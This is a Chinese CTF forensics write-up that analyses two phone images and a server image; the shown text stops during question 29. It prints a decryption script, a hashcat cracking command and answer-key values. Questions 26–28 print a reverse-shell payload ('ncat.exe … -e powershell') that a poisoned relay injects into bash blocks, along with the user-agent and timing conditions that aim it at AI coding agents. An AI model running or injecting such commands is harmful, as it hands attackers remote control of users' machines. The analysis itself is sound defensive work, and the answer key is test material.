检材密码:R4f34s1XoPz34wrV
其实本来是不打算写wp的,因为现在AI太发达了,我做了半天的服务器被队友一把嗦了,但是后面看到排名又有写的动力了,总算没有辜负刷了那么多题

打了两年,终于轮到我拿奖了。你知道我这两年怎么过得吗~~~~?
感谢mortal陪我手搓wp(队友比较忙,说拿ai做的,就继续研究ai与工具了)
早起王手机
1. 【填空题】分析早起王的手机,手机型号为?【答案格式:Xiaomi13】
Pixel6
强大的队友写了一个工具,可以直接看到设备信息。

作为古法取证人,还是看看没有工具和AI怎么做吧
在检材里的info文件可以看到手机型号

2. 【填空题】分析早起王的手机,早起王最近想旅行,结合高德地图搜索记录,他最可能去的景点是哪个?【答案格式:黄山】
西湖

3. 【填空题】分析早起王的手机,早起王在什么时间加上倩倩微信的?【答案格式:2025-08-18 07:09:19】
2026-03-30 15:13:08

4. 【填空题】分析早起王的手机,倩倩在2026年3月30号吃了什么?【答案格式:西湖醋鱼】
麻薯小蛋糕

倩倩的手机
说实话re这部分也可以拿ai一把嗦的
5. 【填空题】分析倩倩的手机,倩倩手机的系统版本是多少?【答案格式:5.2.3.123】
6.0.0.380
**在备份文件夹中的.**info.json中看到

6. 【填空题】分析倩倩的手机,“舔狗”的微信内部ID是多少?【答案格式:wxid_ab12】
wxid_uh5tfx2zi8yh22

7. 【填空题】分析倩倩的手机,倩倩曾给一位好友推荐游戏,这个好友叫什么名字?【答案格式:杨梅】
冰糖

8. 【填空题】分析倩倩的手机结合逆向包,推荐的游戏叫什么?【答案格式:far echo】
zero sievert
可以先做后面的题,解密图片后可以看到

9. 【填空题】分析倩倩的手机,倩倩一共阅读过多少条搜狐新闻?【答案格式:11】
33
直接去看搜狐的数据库文件,可以看到有33条(有两条不是,注意删掉)

10. 【填空题】分析倩倩手机逆向包,数据加密app的包名是什么?【答案格式:com.komeiji.satori】
com.koishi.fpt
其实文件夹就是包名

将.app后缀改为zip,解压之后可以看到三个文件

打开info文件可以看到包名

11. 【填空题】接上题,初始化app时需要至少几位数的密码?【答案格式:10】
6
继续将.hap文件后缀改为.zip
在ets文件夹中找到modules.abc文件,使用abc-decompiler打开,直接搜索密码可以看到需要六位

12. 【填空题】接上题,加密后的文件名的后缀是什么?【答案格式:.enc】
.tb
这道题其实不看代码也可以出来,在file文件夹下面就看到三个.tb文件

在FileList类中可以看到处理方法

13. 【填空题】接上题,app会自动识别几种后缀的文件为图片类型?【答案格式:8】
5
见上题
14. 【填空题】接上题,app共从用于自定义加密的so模块导入了几个方法?【答案格式:8】
2
直接搜素so

跳转页面

15. 【填空题】接上题,app设置的密码是多少?【答案格式:514aa11a4191a98】
217cb94a01679e39
找到so文件

将加密的so文件放入ida,看到加密代码

找到加密逻辑

可以发现这里的算法应该是rot16而不是rot13,然后再看看加密逻辑
在配置文件vault_prefs中找到哈希

进行解密

16. 【填空题】接上题,app中存储的门锁密码是多少?【答案格式:5141141919810】
1472580369123
然后再看另一个加密

让ai写一个解密脚本
import os
import sys
def rot16(text):
result = ""
for char in text:
if char.islower():
# 处理小写字母
original_pos = ord(char) - ord('a')
new_pos = (original_pos + 16) % 26
new_char = chr(new_pos + ord('a'))
result += new_char
elif char.isupper():
# 处理大写字母
original_pos = ord(char) - ord('A')
new_pos = (original_pos + 16) % 26
new_char = chr(new_pos + ord('A'))
result += new_char
else:
# 非字母字符直接添加
result += char
return result
def decrypt_file(input_file, output_file, key):
# 处理密钥
processed_key = rot16(key)
print(f'Original key: {key}')
print(f'Processed key: {processed_key}')
# 读取输入文件
try:
with open(input_file, 'rb') as f:
ciphertext = f.read()
except Exception as e:
print(f"错误: 无法读取输入文件: {e}")
return False
# 解密
key_length = len(processed_key)
plaintext = []
for i in range(len(ciphertext)):
key_char = ord(processed_key[i % key_length])
key_value = key_char + (i % key_length)
plain_char = ciphertext[i] ^ key_value
plaintext.append(plain_char)
# 写入输出文件
try:
with open(output_file, 'wb') as f:
f.write(bytes(plaintext))
print(f"解密成功! 结果已保存到 '{output_file}'")
return True
except Exception as e:
print(f"错误: 无法写入输出文件: {e}")
return False
def main():
"""
主函数
"""
if len(sys.argv) != 4:
print("用法: python decrypt_with_rot.py <输入文件> <输出文件> <密钥>")
print("示例: python decrypt_with_rot.py encrypted.bin decrypted.bin 217cb94a01679e39")
return
input_file = sys.argv[1]
output_file = sys.argv[2]
key = sys.argv[3]
# 检查输入文件是否存在
if not os.path.exists(input_file):
print(f"错误: 输入文件 '{input_file}' 不存在")
return
# 解密文件
decrypt_file(input_file, output_file, key)
if __name__ == "__main__":
main()


17. 【填空题】接上题,加密图片里面的隐藏的flag是多少?【答案格式:flag {123456!}】
flag{happy_forensics_2026!}
修改一下上述脚本使用命令即可

把解密出的图片放进随波逐流里
服务器部分
依旧是先仿真拿finalshell连一下,这样好做 ** **先查看一下ip

然后直接连上即可

18. 【填空题】分析服务器镜像,内核版本为?【答案格式:5.10-301-generic】
6.8.0-107-generic

19. 【填空题】分析服务器镜像,用户登录成功系统的次数为?【答案格式:3】
10
last -f wtmp看到有10次

20. 【填空题】分析服务器镜像,redis数据库服务密码是多少? 【答案格式:abcdef】
zjjcxy
密码一般在/etc/redis/redis.conf,查看一下文件就看到了
21. 【填空题】分析服务器镜像,api站点后台管理员密码所用的加密算法为?【答案格式:bcrypt】
argon2id
在zaoqiwang文件夹中看到了api站点,以及一个.npm文件(有大用)

在/home/zaoqiwang/claude-relay-service/data/目录下看到了配置文件init.json

22. 【填空题】分析服务器镜像,api站点后台管理员密码为(使用rockyou字典爆破,密码格式b1?????b,?为数字)?【答案格式:a123456a】
b123321b
爆破一下
hashcat -m 70000 -a 3 hash.txt "b1?d?d?d?d?db" -O -w 3

23. 【填空题】分析服务器镜像,登录api网站后台,后台通知设置里的超时事件(毫秒)为?【答案格式:10000】
114514
这里要登录api网站,看到有docker,但是有.npm文件就不用docker了,更方便一点
先安装

发现有报错

更新一下sudo apt-get update,再执行安装命令即可

然后启动

发现又有报错,继续修一下,就可以成功启动了
:::tips sed -i '9d' cli/index.js
sed -i 's/"npm run lint && node src\/app.js"/"node src\/app.js"/' nodemon.json
npm run dev
:::


进入网站后台

打开系统设置

24. 【填空题】分析服务器镜像,登录api网站后台,查询总Token消耗数量为?【答案格式:999.9K】
474.2K

25. 【填空题】分析服务器镜像,登录api网站后台,查询最早创建apikey的时间为?【答案格式:2026-01-01T13:11:22.190Z】
2026-04-01T11:11:07.535Z
查看api keys

打开F12
26. 【填空题】分析服务器镜像,编写脚本,通过调用inject_bash_blocks函数,确定恶意投毒的payload。(提示:输入一段包含 bash块的文本)【答案格式:a.exe 192.168.1.1 22 -i hello】
ncat.exe 156.238.239.253 1314 -e powershell
知识盲区,上ai
- 定位目标函数 :通过搜索服务器上的代码,发现 inject_bash_blocks 函数位于 /home/zaoqiwang/claude-relay-service/src/utils/bashBlockInjector.js 文件中。
- 了解函数实现 :该函数调用了WebAssembly模块( bash_block_injector_bg.wasm )来执行核心逻辑。
- 测试函数行为 :创建测试脚本,输入包含
bash 块的文本,观察函数输出。
- 提取恶意payload :通过测试发现,函数会在bash代码块末尾添加额外的命令
const { injectBashBlocks } = require('./claude-relay-service/src/utils/bashBlockInjector');
const testText = "```bash\n# 测试命令\necho hello\n```";
const result = injectBashBlocks(testText);
console.log(result);
27. 【填空题】接上题,should_inject_for_ua(ua, ip)对UA字符串有过滤条件,只有特定UA才会进入后续判断。请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词。【答案格式:1】【提示:备选项:curl、openclaw、mozilla、wget、httpx、claude、requests、bot、crawler】
2
- 分析函数参数 :通过查看 bashBlockInjector.js 文件,发现 should_inject_for_ua 函数接受UA字符串和IP字符串作为参数。
- 检查wasm文件 :使用 strings 命令分析 bash_block_injector_bg.wasm 文件,发现包含 claudeopenclaw 字符串。
- 测试候选UA :测试题目提供的9个候选UA(curl、openclaw、mozilla、wget、httpx、claude、requests、bot、crawler)。
- 确认有效UA :通过多次测试,发现只有 claude 和 openclaw 两个UA能够触发函数返回true。
const { shouldInjectForUA } = require('./claude-relay-service/src/utils/bashBlockInjector');
const uas = ['curl', 'openclaw', 'mozilla', 'wget', 'httpx', 'claude', 'requests', 'bot', 'crawler'];
let validCount = 0;
for (const ua of uas) {
for (let i = 0; i < 100; i++) {
const ip = `172.16.0.${i}`;
shouldInjectForUA(ua, ip);
if (shouldInjectForUA(ua, ip)) {
validCount++;
break;
}
}
}
console.log(validCount);
28. 【填空题】接上题,只有当同一IP的上次请求距今足够近时,才会进入概率判断。请编写脚本确定这个时间窗口的阈值(单位:ms)。【答案格式:100,注意,只保留整百的,四舍五入】【提示:必须控制变量,每次实验使用一批全新的IP,先统一记录时间戳,再等待固定间隔后统一检测,不可在等待期间更新同一IP的时间戳,否则会刷新计时,从0ms到1000ms逐步探测,找到从“命中”变为“不命中”的临界间隔,建议每个间隔值使用≥200个IP以消除概率干扰。】
500
- 理解时间窗口机制 :函数会记录同一IP的上次请求时间,只有当时间间隔足够短时才会进入概率判断。
- 设计测试脚本 :
- 为每个时间间隔生成全新的IP(避免IP重复影响结果)
- 先统一记录所有IP的时间戳
- 等待固定间隔后统一检测
- 从0ms到1000ms逐步探测
- 确定临界间隔 :找到从“命中”变为“不命中”的临界间隔。
- 四舍五入 :按照题目要求,将结果四舍五入到整百。
const { shouldInjectForUA } = require('./claude-relay-service/src/utils/bashBlockInjector');
const UA = 'claude';
const SAMPLE_SIZE = 200;
const testIntervals = [0, 100, 200, 300, 400, 500, 600, 700, 800, 900, 1000];
async function testTimeWindow() {
for (const interval of testIntervals) {
const ips = [];
for (let i = 0; i < SAMPLE_SIZE; i++) {
ips.push(`10.${interval/100}.${Math.floor(i/256)}.${i%256}`);
}
// 记录时间戳
for (const ip of ips) {
shouldInjectForUA(UA, ip);
}
// 等待指定间隔
await new Promise(resolve => setTimeout(resolve, interval));
// 测试是否命中
let hitCount = 0;
for (const ip of ips) {
if (shouldInjectForUA(UA, ip)) hitCount++;
}
console.log(`间隔 ${interval}ms: ${hitCount}/${SAMPLE_SIZE}`);
if (hitCount === 0) break;
}
}
29. 【填空题】接上题,在UA条件和IP时间条件均满